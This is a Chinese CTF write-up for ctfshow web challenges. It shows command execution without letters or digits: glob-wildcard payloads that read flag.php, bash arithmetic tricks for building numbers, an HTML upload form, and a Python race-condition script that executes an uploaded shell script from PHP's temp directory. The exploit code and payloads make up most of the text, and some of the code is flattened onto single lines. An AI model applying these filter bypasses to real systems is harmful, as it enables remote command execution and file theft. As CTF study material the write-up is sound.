寫在前面
說白了數字還是好構造的,bash的算數拓展!
base64命令
這玩意說白了有點雞肋,因為你得知道flag的文件名和位置!
base64 flag.php這個會將flag.php里面的內容給base64編碼輸出來。那么如何用無字母數字構造呢?
/???/?[_-{]??64 ???.??? 中間不用?是因為會匹配到兩個命令
ls /???/???64 可以發現滿足的會有兩個
數字的構造bash拓展
$(())里面可以進行整數運算!
echo $((1+1)) #2
echo $(()) #0
0取反為-1
所以我們可以得到-1,通過$((~$(())))
如何構造64,我們可以先取反64,為-65,構造出-65然后在取反即為64!
額。。。。。前面直接加負號應該也可以。
$((~$(())))*65然后在放進$((~$(())))這里即可!tmd,這md編輯器不太好用。payload就不放了!
到web29去試試(但是有些環境不知道為啥用不了)
上傳shell腳本執行臨時文件
get請求
get請求不需要競爭
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>POST數據包POC</title>
</head>
<body>
<form action="http://05b99b6f-5912-4c98-90d5-2975d8726117.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
先上傳一個表單的同時抓包,然后在讀臨時文件。讀取文件就用?c=.%20/???/???[@-[],[@-[]也是linux的通配符表示的方法,@在A前面,[在Z后面。在最后寫成大寫字母主要是為了怕文件名沖突。shell腳本:#!/bin/sh(或者用其他解釋器,bash,zsh) 命令
post請求
這個就需要競爭了,這里用腳本實現即可(ctfshow新系列的無字母數字命令執行就用到這個)
import requests
import concurrent.futuresurl = "http://e7139a42-6102-4aa6-825e-80292bfb395b.challenge.ctf.show/"file_content = b"#!/bin/sh\ntac flag.php"data = {'code': '. /???/????????[@-[]',
}def upload_file():files = {'file': ('test.txt', file_content, 'text/plain')}try:response = requests.post(url, files=files, timeout=5)print(f"上傳請求返回狀態碼: {response.status_code}")return responseexcept requests.exceptions.RequestException as e:print(f"上傳請求失敗: {e}")return Nonedef send_post():try:response = requests.post(url, data=data, timeout=5)print(f"POST 請求返回狀態碼: {response.status_code}")return responseexcept requests.exceptions.RequestException as e:print(f"POST 請求失敗: {e}")return Nonedef race_condition():with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:futures = [executor.submit(upload_file) for _ in range(25)]futures.extend([executor.submit(send_post) for _ in range(25)])for future in concurrent.futures.as_completed(futures):result = future.result()if result and "flag" in result.text:print("\n--- 成功!可能找到 Flag ---")print(result.text)return Truereturn Falseprint("正在嘗試利用條件競爭,請稍候...")
success = False
for i in range(50):if race_condition():success = Truebreakprint(f"第 {i + 1} 輪嘗試失敗,繼續...")if not success:print("\n--- 所有嘗試均失敗 ---")